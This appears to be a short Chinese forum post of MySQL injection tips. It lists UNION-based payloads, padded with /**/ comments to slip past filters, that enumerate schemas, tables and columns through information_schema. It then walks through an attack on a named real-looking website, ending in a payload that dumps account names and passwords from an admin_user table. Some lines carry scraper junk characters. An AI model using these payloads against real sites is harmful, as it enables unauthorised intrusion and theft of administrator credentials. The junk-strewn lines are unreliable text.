mysql注入技巧

admin

查库

id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*
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; k; @% R" W' i( J2 w/ v; E- R% }) ~! gid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
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6 t* Q% o& A: j6 ^: N2 wid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1

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例子如下:
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1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
% v+ X1 P0 P! u9 F0 g! A1 v这样爆到第4个时出现了admin_user表。
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: T. `9 F! J2 Uhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*

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http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
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